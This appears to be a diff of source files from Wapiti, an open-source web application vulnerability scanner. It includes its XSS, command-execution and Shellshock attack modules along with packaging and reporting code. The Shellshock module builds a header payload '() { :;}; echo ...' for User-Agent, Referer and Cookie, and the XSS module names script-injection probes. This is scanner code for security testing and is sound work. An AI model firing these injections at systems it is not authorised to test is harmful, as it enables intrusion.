# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import random
|
||||
from itertools import chain
|
||||
from os.path import join as path_join
|
||||
from configparser import ConfigParser
|
||||
from math import ceil
|
||||
|
||||
from requests.exceptions import ReadTimeout
|
||||
|
||||
from wapitiCore.attack.attack import Attack, Mutator, PayloadType
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
from wapitiCore.net.xss_utils import generate_payloads, valid_xss_content_type
|
||||
|
||||
|
||||
class mod_xss(Attack):
|
||||
"""This class implements a cross site scripting attack"""
|
||||
|
||||
# magic strings we must see to be sure script is vulnerable to XSS
|
||||
# payloads must be created on those patterns
|
||||
script_ok = ["alert('__XSS__')", "alert(\"__XSS__\")", "String.fromCharCode(0,__XSS__,1)"]
|
||||
|
||||
# simple payloads that doesn't rely on their position in the DOM structure
|
||||
# payloads injected after closing a tag attribute value (attrval) or in the
|
||||
# content of a tag (text node like between <p> and </p>)
|
||||
# only trick here must be on character encoding, filter bypassing, stuff like that
|
||||
# form the simplest to the most complex, Wapiti will stop on the first working
|
||||
independant_payloads = []
|
||||
php_self_payload = "%3Cscript%3Ephpselfxss()%3C/script%3E"
|
||||
php_self_check = "<script>phpselfxss()</script>"
|
||||
|
||||
name = "xss"
|
||||
|
||||
# two dict exported for permanent XSS scanning
|
||||
# GET_XSS structure :
|
||||
# {uniq_code : http://url/?param1=value1¶m2=uniq_code¶m3..., next_uniq_code : ...}
|
||||
# GET_XSS = {}
|
||||
# POST XSS structure :
|
||||
# {uniq_code: [target_url, {param1: val1, param2: uniq_code, param3:...}, referer_ul], next_uniq_code : [...]...}
|
||||
# POST_XSS = {}
|
||||
TRIED_XSS = {}
|
||||
PHP_SELF = []
|
||||
|
||||
# key = taint code, value = (payload, flags)
|
||||
SUCCESSFUL_XSS = {}
|
||||
|
||||
PAYLOADS_FILE = "xssPayloads.ini"
|
||||
|
||||
MSG_VULN = _("XSS vulnerability")
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
self.independant_payloads = self.payloads
|
||||
|
||||
@staticmethod
|
||||
def random_string():
|
||||
"""Create a random unique ID that will be used to test injection."""
|
||||
# doesn't uppercase letters as BeautifulSoup make some data lowercase
|
||||
code = "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 9)])
|
||||
return code, set()
|
||||
|
||||
def attack(self):
|
||||
methods = ""
|
||||
if self.do_get:
|
||||
methods += "G"
|
||||
if self.do_post:
|
||||
methods += "PF"
|
||||
|
||||
mutator = Mutator(
|
||||
methods=methods,
|
||||
payloads=self.random_string,
|
||||
qs_inject=self.must_attack_query_string,
|
||||
skip=self.options.get("skipped_parameters")
|
||||
)
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
for mutated_request, parameter, taint, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
# We don't display the mutated request here as the payload is not interesting
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
# We just inserted harmless characters, if we get a timeout here, it's not interesting
|
||||
continue
|
||||
else:
|
||||
# We keep a history of taint values we sent because in case of stored value, the taint code
|
||||
# may be found in another webpage by the permanentxss module.
|
||||
self.TRIED_XSS[taint] = (mutated_request, parameter, flags)
|
||||
|
||||
# Reminder: valid_xss_content_type is not called before before content is not necessary
|
||||
# reflected here, may be found in another webpage so we have to inject tainted values
|
||||
# even if the Content-Type seems uninteresting.
|
||||
if taint.lower() in response.content.lower() and valid_xss_content_type(mutated_request):
|
||||
# Simple text injection worked in HTML response, let's try with JS code
|
||||
payloads = generate_payloads(response.content, taint, self.independant_payloads)
|
||||
|
||||
# TODO: check that and make it better
|
||||
if PayloadType.get in flags:
|
||||
method = "G"
|
||||
elif PayloadType.file in flags:
|
||||
method = "F"
|
||||
else:
|
||||
method = "P"
|
||||
|
||||
self.attempt_exploit(method, payloads, original_request, parameter, taint)
|
||||
except KeyboardInterrupt as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
||||
|
||||
@property
|
||||
def payloads(self):
|
||||
"""Load the payloads from the specified file"""
|
||||
if not self.PAYLOADS_FILE:
|
||||
return []
|
||||
|
||||
payloads = []
|
||||
|
||||
config_reader = ConfigParser()
|
||||
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
|
||||
|
||||
for section in config_reader.sections():
|
||||
payload = config_reader[section]["payload"]
|
||||
flags = {section}
|
||||
|
||||
clean_payload = payload.strip(" \n")
|
||||
clean_payload = clean_payload.replace("[TAB]", "\t")
|
||||
clean_payload = clean_payload.replace("[LF]", "\n")
|
||||
clean_payload = clean_payload.replace(
|
||||
"[TIME]",
|
||||
str(int(ceil(self.options["timeout"])) + 1)
|
||||
)
|
||||
|
||||
payload_type = PayloadType.pattern
|
||||
if "[TIMEOUT]" in clean_payload:
|
||||
payload_type = PayloadType.time
|
||||
clean_payload = clean_payload.replace("[TIMEOUT]", "")
|
||||
|
||||
flags.add(payload_type)
|
||||
payloads.append((clean_payload, flags))
|
||||
|
||||
return payloads
|
||||
|
||||
def attempt_exploit(self, method, payloads, original_request, parameter, taint):
|
||||
timeouted = False
|
||||
page = original_request.path
|
||||
saw_internal_error = False
|
||||
|
||||
attack_mutator = Mutator(
|
||||
methods=method,
|
||||
payloads=payloads,
|
||||
qs_inject=self.must_attack_query_string,
|
||||
parameters=[parameter],
|
||||
skip=self.options.get("skipped_parameters")
|
||||
)
|
||||
|
||||
for evil_request, xss_param, xss_payload, xss_flags in attack_mutator.mutate(original_request):
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(evil_request))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(evil_request)
|
||||
except ReadTimeout:
|
||||
if timeouted:
|
||||
continue
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(evil_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
if xss_param == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_TIMEOUT
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(xss_param)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=evil_request,
|
||||
info=anom_msg,
|
||||
parameter=xss_param
|
||||
)
|
||||
timeouted = True
|
||||
|
||||
else:
|
||||
if self.check_payload(response, xss_flags, taint):
|
||||
self.SUCCESSFUL_XSS[taint] = (xss_payload, xss_flags)
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.XSS,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
parameter=xss_param,
|
||||
info=_("XSS vulnerability found via injection"
|
||||
" in the parameter {0}").format(xss_param)
|
||||
)
|
||||
|
||||
if xss_param == "QUERY_STRING":
|
||||
injection_msg = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
injection_msg = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
injection_msg,
|
||||
self.MSG_VULN,
|
||||
page,
|
||||
xss_param
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(evil_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
# stop trying payloads and jump to the next parameter
|
||||
break
|
||||
elif response.status == 500 and not saw_internal_error:
|
||||
if xss_param == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(xss_param)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
info=anom_msg,
|
||||
parameter=xss_param
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(evil_request.http_repr())
|
||||
self.log_orange("---")
|
||||
saw_internal_error = True
|
||||
|
||||
def check_payload(self, response, flags, taint):
|
||||
config_reader = ConfigParser()
|
||||
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
|
||||
|
||||
for section in config_reader.sections():
|
||||
if section in flags:
|
||||
value = config_reader[section]["value"].replace("__XSS__", taint)
|
||||
attribute = config_reader[section]["attribute"]
|
||||
case_sensitive = config_reader[section].getboolean("case_sensitive")
|
||||
|
||||
for tag in response.soup.find_all(config_reader[section]["tag"]):
|
||||
if attribute == "string" and tag.string:
|
||||
if case_sensitive:
|
||||
if value in tag.string:
|
||||
return True
|
||||
else:
|
||||
if value.lower() in tag.string.lower():
|
||||
return True
|
||||
else:
|
||||
if attribute in tag.attrs:
|
||||
if case_sensitive:
|
||||
if value in tag[attribute]:
|
||||
return True
|
||||
else:
|
||||
if value.lower() in tag[attribute].lower():
|
||||
return True
|
||||
break
|
||||
|
||||
return False
|
|
@ -0,0 +1,206 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from itertools import chain
|
||||
|
||||
from requests.exceptions import ReadTimeout, RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack, PayloadType
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
|
||||
|
||||
class mod_exec(Attack):
|
||||
"""
|
||||
This class implements a command execution attack
|
||||
"""
|
||||
|
||||
PAYLOADS_FILE = "execPayloads.txt"
|
||||
|
||||
name = "exec"
|
||||
|
||||
@staticmethod
|
||||
def _find_pattern_in_response(data, warned: bool):
|
||||
vuln_info = ""
|
||||
executed = 0
|
||||
if "eval()'d code</b> on line <b>" in data and not warned:
|
||||
vuln_info = _("Warning eval()")
|
||||
warned = True
|
||||
if "PATH=" in data and "PWD=" in data:
|
||||
vuln_info = _("Command execution")
|
||||
executed = True
|
||||
if "w4p1t1_eval" in data:
|
||||
vuln_info = _("PHP evaluation")
|
||||
executed = True
|
||||
if "Cannot execute a blank command in" in data and not warned:
|
||||
vuln_info = _("Warning exec")
|
||||
warned = True
|
||||
if "sh: command substitution:" in data and not warned:
|
||||
vuln_info = _("Warning exec")
|
||||
warned = True
|
||||
if "Fatal error</b>: preg_replace" in data and not warned:
|
||||
vuln_info = _("preg_replace injection")
|
||||
warned = True
|
||||
if "Warning: usort()" in data and not warned:
|
||||
vuln_info = _("Warning usort()")
|
||||
warned = True
|
||||
if "Warning: preg_replace():" in data and not warned:
|
||||
vuln_info = _("preg_replace injection")
|
||||
warned = True
|
||||
if "Warning: assert():" in data and not warned:
|
||||
vuln_info = _("Warning assert")
|
||||
warned = True
|
||||
if "Failure evaluating code:" in data and not warned:
|
||||
vuln_info = _("Evaluation warning")
|
||||
warned = True
|
||||
return vuln_info, executed, warned
|
||||
|
||||
def attack(self):
|
||||
mutator = self.get_mutator()
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
warned = False
|
||||
timeouted = False
|
||||
page = original_request.path
|
||||
saw_internal_error = False
|
||||
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(mutated_request))
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
if PayloadType.time in flags:
|
||||
|
||||
vuln_info = _("Blind command execution")
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
|
||||
else:
|
||||
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.EXEC,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING"
|
||||
else Vulnerability.MSG_PARAM_INJECT,
|
||||
vuln_info,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
break
|
||||
|
||||
elif timeouted:
|
||||
continue
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_TIMEOUT
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
timeouted = True
|
||||
else:
|
||||
vuln_info, executed, warned = self._find_pattern_in_response(response.content, warned)
|
||||
if vuln_info:
|
||||
# An error message implies that a vulnerability may exists
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
|
||||
log_message = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
|
||||
log_message = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.EXEC,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
log_message,
|
||||
vuln_info,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
if executed:
|
||||
# We reached maximum exploitation, stop here
|
||||
break
|
||||
elif response.status == 500 and not saw_internal_error:
|
||||
saw_internal_error = True
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2014-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import random
|
||||
import string
|
||||
from binascii import hexlify
|
||||
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, _
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
class mod_shellshock(Attack):
|
||||
"""
|
||||
This class implements a "bash shellshock" vulnerability tester"
|
||||
"""
|
||||
|
||||
name = "shellshock"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
empty_func = "() { :;}; "
|
||||
|
||||
self.rand_string = "".join([random.choice(string.hexdigits) for _ in range(32)])
|
||||
hex_string = hexlify(self.rand_string.encode())
|
||||
bash_string = ""
|
||||
for i in range(0, 64, 2):
|
||||
bash_string += "\\x" + hex_string[i:i+2].decode()
|
||||
|
||||
cmd = "echo; echo; echo -e '{0}';".format(bash_string)
|
||||
|
||||
self.hdrs = {
|
||||
"user-agent": empty_func + cmd,
|
||||
"referer": empty_func + cmd,
|
||||
"cookie": empty_func + cmd
|
||||
}
|
||||
|
||||
def attack(self):
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
for original_request in http_resources:
|
||||
try:
|
||||
url = original_request.path
|
||||
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(url))
|
||||
|
||||
if url not in self.attacked_get:
|
||||
self.attacked_get.append(url)
|
||||
|
||||
evil_req = web.Request(url)
|
||||
|
||||
resp = self.crawler.send(evil_req, headers=self.hdrs)
|
||||
if resp:
|
||||
data = resp.content
|
||||
if self.rand_string in data:
|
||||
self.log_red(_("URL {0} seems vulnerable to Shellshock attack!").format(url))
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.EXEC,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_req,
|
||||
info=_("URL {0} seems vulnerable to Shellshock attack").format(url)
|
||||
)
|
||||
except (RequestException, KeyboardInterrupt) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original author :
|
||||
# David del Pozo
|
||||
# Alberto Pastor
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import os
|
||||
import locale
|
||||
import gettext
|
||||
import sys
|
||||
|
||||
AVAILABLE_LANGS = ["en", "es", "fr"] # "de", "ms"]
|
||||
|
||||
if sys.platform == "win32":
|
||||
import ctypes
|
||||
|
||||
windll = ctypes.windll.kernel32
|
||||
def_locale = locale.windows_locale[windll.GetUserDefaultUILanguage()] # for example fr_FR
|
||||
lang_country = def_locale[:2]
|
||||
else:
|
||||
# getdefaultlocale will return (None, None) if locale settings are incorrectly set (ex: LANG=C)
|
||||
def_locale = locale.getdefaultlocale() # for example ('fr_FR', 'cp1252')
|
||||
lang_country = def_locale[0]
|
||||
|
||||
lang = None
|
||||
if isinstance(lang_country, str) and len(lang_country) >= 2:
|
||||
lang = lang_country[:2] # fr
|
||||
|
||||
if lang is None:
|
||||
print("Unable to correctly determine your language settings. Using english as default.")
|
||||
print("Please check your locale settings for internationalization features.")
|
||||
print("===============================================================")
|
||||
lang = "en"
|
||||
elif lang not in AVAILABLE_LANGS:
|
||||
# if lang is not one of the supported languages, we use english
|
||||
print("Oups! No translations found for your language... Using english.")
|
||||
print("Please send your translations for improvements.")
|
||||
print("===============================================================")
|
||||
lang = "en"
|
||||
|
||||
BASE_DIR = os.path.dirname(sys.modules['wapitiCore'].__file__)
|
||||
LANG_PATH = os.path.join(BASE_DIR, "config", "language")
|
||||
|
||||
lan = gettext.translation(
|
||||
"wapiti",
|
||||
LANG_PATH,
|
||||
languages=[lang],
|
||||
codeset="UTF-8"
|
||||
)
|
||||
_ = lan.gettext
|
|
@ -0,0 +1,39 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<reportGenerators>
|
||||
<reportGenerator>
|
||||
<description>XML format</description>
|
||||
<reportTypeKey>xml</reportTypeKey>
|
||||
<classModule>xmlreportgenerator</classModule>
|
||||
<className>XMLReportGenerator</className>
|
||||
</reportGenerator>
|
||||
<reportGenerator>
|
||||
<description>HTML format</description>
|
||||
<reportTypeKey>html</reportTypeKey>
|
||||
<classModule>htmlreportgenerator</classModule>
|
||||
<className>HTMLReportGenerator</className>
|
||||
</reportGenerator>
|
||||
<reportGenerator>
|
||||
<description>TXT format</description>
|
||||
<reportTypeKey>txt</reportTypeKey>
|
||||
<classModule>txtreportgenerator</classModule>
|
||||
<className>TXTReportGenerator</className>
|
||||
</reportGenerator>
|
||||
<reportGenerator>
|
||||
<description>VulneraNET format</description>
|
||||
<reportTypeKey>vulneranet</reportTypeKey>
|
||||
<classModule>vulneranetxmlreportgenerator</classModule>
|
||||
<className>VulneraNetXMLReportGenerator</className>
|
||||
</reportGenerator>
|
||||
<reportGenerator>
|
||||
<description>JSON format</description>
|
||||
<reportTypeKey>json</reportTypeKey>
|
||||
<classModule>jsonreportgenerator</classModule>
|
||||
<className>JSONReportGenerator</className>
|
||||
</reportGenerator>
|
||||
<reportGenerator>
|
||||
<description>OpenVAS XML format</description>
|
||||
<reportTypeKey>openvas</reportTypeKey>
|
||||
<classModule>openvasreportgenerator</classModule>
|
||||
<className>OpenVASReportGenerator</className>
|
||||
</reportGenerator>
|
||||
</reportGenerators>
|
|
@ -0,0 +1,123 @@
|
|||
#!/usr/bin/env python3
|
||||
# Don't use this script unless you know exactly what you are doing !
|
||||
from distutils.core import setup
|
||||
import py2exe
|
||||
import os
|
||||
import sys
|
||||
|
||||
# dirty hack so we don't have to give any argument
|
||||
if "py2exe" not in sys.argv:
|
||||
sys.argv.append("py2exe")
|
||||
|
||||
VERSION = "3.0.1"
|
||||
|
||||
|
||||
# Build file lists
|
||||
def build_file_list(results, dest, root, src=""):
|
||||
cwd = os.getcwd()
|
||||
if src != "":
|
||||
os.chdir(src)
|
||||
for root, dirs, files in os.walk(root):
|
||||
if ".svn" in dirs:
|
||||
dirs.remove(".svn")
|
||||
if files:
|
||||
results.append((os.path.join(dest, root), [os.path.join(src, root, x) for x in files]))
|
||||
os.chdir(cwd)
|
||||
|
||||
|
||||
data_files = [
|
||||
("data", ["INSTALL", "README", "TODO", "VERSION"])
|
||||
]
|
||||
|
||||
build_file_list(data_files, "data", "doc", src="")
|
||||
build_file_list(data_files, "data", "config", src="wapitiCore")
|
||||
build_file_list(data_files, "data", "report_template", src="wapitiCore")
|
||||
build_file_list(data_files, "data", "language_sources", src="wapitiCore")
|
||||
|
||||
|
||||
# Main
|
||||
setup(
|
||||
name="wapiti3",
|
||||
version=VERSION,
|
||||
description="A web application vulnerability scanner",
|
||||
long_description="""\
|
||||
Wapiti allows you to audit the security of your web applications.
|
||||
It performs "black-box" scans, i.e. it does not study the source code of the
|
||||
application but will scans the webpages of the deployed webapp, looking for
|
||||
scripts and forms where it can inject data.
|
||||
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see
|
||||
if a script is vulnerable.""",
|
||||
url="http://wapiti.sourceforge.net/",
|
||||
author="Nicolas SURRIBAS",
|
||||
author_email="nicolas.surribas@gmail.com",
|
||||
license="GPLv2",
|
||||
platforms=["Any"],
|
||||
packages=[
|
||||
'wapitiCore',
|
||||
'wapitiCore.attack',
|
||||
'wapitiCore.language',
|
||||
'wapitiCore.report',
|
||||
'wapitiCore.net',
|
||||
'wapitiCore.file',
|
||||
'wapitiCore.net.jsparser'
|
||||
],
|
||||
data_files=data_files,
|
||||
console=[
|
||||
{
|
||||
"script": "bin/wapiti",
|
||||
"icon_resources": [(1, "doc/wapiti.ico")]
|
||||
},
|
||||
{
|
||||
"script": "bin/wapiti-cookie",
|
||||
"icon_resources": [(1, "doc/cookie.ico")]
|
||||
},
|
||||
{
|
||||
"script": "bin/wapiti-getcookie",
|
||||
"icon_resources": [(1, "doc/cookie.ico")]
|
||||
}
|
||||
],
|
||||
classifiers=[
|
||||
'Development Status :: 2 - Pre-Alpha',
|
||||
'Environment :: Console',
|
||||
'Intended Audience :: End Users/Desktop',
|
||||
'Intended Audience :: Developers',
|
||||
'Intended Audience :: System Administrators',
|
||||
'License :: OSI Approved :: GNU General Public License (GPL)',
|
||||
'Operating System :: MacOS :: MacOS X',
|
||||
'Operating System :: Microsoft :: Windows',
|
||||
'Operating System :: POSIX',
|
||||
'Operating System :: Unix',
|
||||
'Programming Language :: Python',
|
||||
'Topic :: Security',
|
||||
'Topic :: Internet :: WWW/HTTP :: Indexing/Search',
|
||||
'Topic :: Software Development :: Testing'
|
||||
],
|
||||
options={
|
||||
"py2exe": {
|
||||
"includes": [
|
||||
"wapitiCore.attack.mod_backup",
|
||||
"wapitiCore.attack.mod_blindsql",
|
||||
"wapitiCore.attack.mod_buster",
|
||||
"wapitiCore.attack.mod_crlf",
|
||||
"wapitiCore.attack.mod_delay",
|
||||
"wapitiCore.attack.mod_exec",
|
||||
"wapitiCore.attack.mod_file",
|
||||
"wapitiCore.attack.mod_htaccess",
|
||||
"wapitiCore.attack.mod_methods",
|
||||
"wapitiCore.attack.mod_nikto",
|
||||
"wapitiCore.attack.mod_permanentxss",
|
||||
"wapitiCore.attack.mod_shellshock",
|
||||
"wapitiCore.attack.mod_sql",
|
||||
"wapitiCore.attack.mod_ssrf",
|
||||
"wapitiCore.attack.mod_xss",
|
||||
"wapitiCore.report.reportgenerator",
|
||||
"wapitiCore.report.htmlreportgenerator",
|
||||
"wapitiCore.report.jsonreportgenerator",
|
||||
"wapitiCore.report.openvasreportgenerator",
|
||||
"wapitiCore.report.txtreportgenerator",
|
||||
"wapitiCore.report.vulneranetxmlreportgenerator",
|
||||
"wapitiCore.report.xmlreportgenerator"
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
|
@ -0,0 +1,112 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# JSON Report Generator Module for Wapiti Project
|
||||
# Wapiti Project (http://wapiti.sourceforge.net)
|
||||
#
|
||||
# Copyright (C) 2014-2018 Nicolas SURRIBAS
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import json
|
||||
|
||||
from wapitiCore.report.reportgenerator import ReportGenerator
|
||||
|
||||
|
||||
class JSONReportGenerator(ReportGenerator):
|
||||
"""This class allow generating reports in JSON format.
|
||||
The root dictionary contains 4 dictionaries :
|
||||
- classifications : contains the description and references of a vulnerability type.
|
||||
